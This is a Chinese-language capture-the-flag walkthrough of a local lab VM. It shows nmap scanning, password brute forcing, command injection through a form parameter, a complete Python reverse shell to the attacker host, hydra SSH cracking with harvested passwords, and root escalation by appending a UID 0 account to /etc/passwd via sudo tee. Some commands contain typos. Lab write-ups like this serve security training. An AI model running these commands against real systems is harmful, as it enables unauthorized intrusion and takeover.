配置环境
把虚拟机关机,编辑虚拟机设置
设置成NAT模式
靶机ip:
192.168.159.130
攻击机ip:
192.168.159.88
1、扫描局域网内的C段主机(主机发现)
输入命令:
nmap -sP 192.168.159.1/24
发现靶机ip:
靶机ip:
192.168.159.130
2、扫描端口获得运行的服务
端口和服务是一一对应的
命令
nmap -p 1-65535 -A 192.168.159.130
发现了 80端口和 22端口
访问发现
用字典进行爆破
字典链接:
链接:https://pan.baidu.com/s/1ab1pW_ShdoeKqjBGhBuKBQ
提取码:fnem
得到密码是:happy
用密码登入
尝试run
发现了You have selected: ls -l
用bp抓包
修改radio为:ls -a
发现可以执行,得到注入的一个位置
3.设置反弹Shell
在这里设置反弹Shell
在radio =后面写上:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.159.88',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
再用攻击机监听 7777端口
命令:
nc -lvp 7777
然后点击发送
成功进入 www-data用户
4.收集信息提权
查看有没有root权限
sudo -l
发现它没有权限
查看他的 /home 目录
发现有三个类似用户名的东西
依次打开发现只有jim有个备份文件
打开备份文件
发现他有一个密码
查看密码
命令:
cat old-passwords.bak
发现有很多密码
复制保存在jim.txt文件下,复制粘贴到kali攻击机
hydra
用hydra来爆破
命令:
sudo hydra -l jim -p jim.txt ssh : //192.168.130
hydra使用方法:
-l 使用登录名进行登录
-L 使用账号字典进行破解
-p 使用密码进行登录
-P 使用密码字典进行破解
命令:
sudo hydra -l charles -p jim.txt ssh : //192.168.130
发现确实有jim的密码jibril04
登入jim账户
命令:
ssh jim@192.168.159.130
发现一个提示,你有邮件mail
查看一下权限
命令:
sudo -l
发现jim也没有sudo 权限
最后在var里面找到了邮件
发现邮件下面还有一个jim文件
打开jim
发现了charles的密码
^xHhA&hvim0y
登入charles账户
命令:
ssh charles@192.168.159.130
查看权限
sudo -l
发现
charles有tee的root权限
现在要在/etc/passwd写入一个用户 ,UID=GID=0 —>拥有root权限
正常的用户的密码文件一般在: /etc/passwd
第一位:用户名
第二位:密码(被隐藏了,密码在:/etc/shadow
第三位:UID(用户id)
第四位:GID(用户组id)
如果UID=GID=0代表权限最高的用户
第五位:用户描述
第六位:当前用户工作主目录
第七位:命令解释程序
所以,现在要在/etc/passwd写入一个用户 ,UID=GID=0 —>拥有root权限
tee的功能:
我们可以以root身份执行tee,所以我们现在可以以root身份写入一个拥有root权限的角色
我们要先生成md5密码(密码在/ect/passwd 里面大都是sha512 sha256 md5加密,不设置密码也可以)
命令:
openssl passwd -1 -salt admin 123456
openssl passwd -1(md5加密算法) -salt(用一个随机数去加严) admin(用户名) 123456(明文密码)
生成密码:
1admin$LClYcRe.ee8dQwgrFc5nz.
然后写入密码
命令:
echo 'admin:111admin$LClYcRe.ee8dQwgrFc5nz.:0:0:/root:/bin/bash' | sudo teehee -a /etc/passwd
查看 /etc/passwd
发现真的多了一个admin
登入这个admin
命令:
su admin
在/root下发现flag文件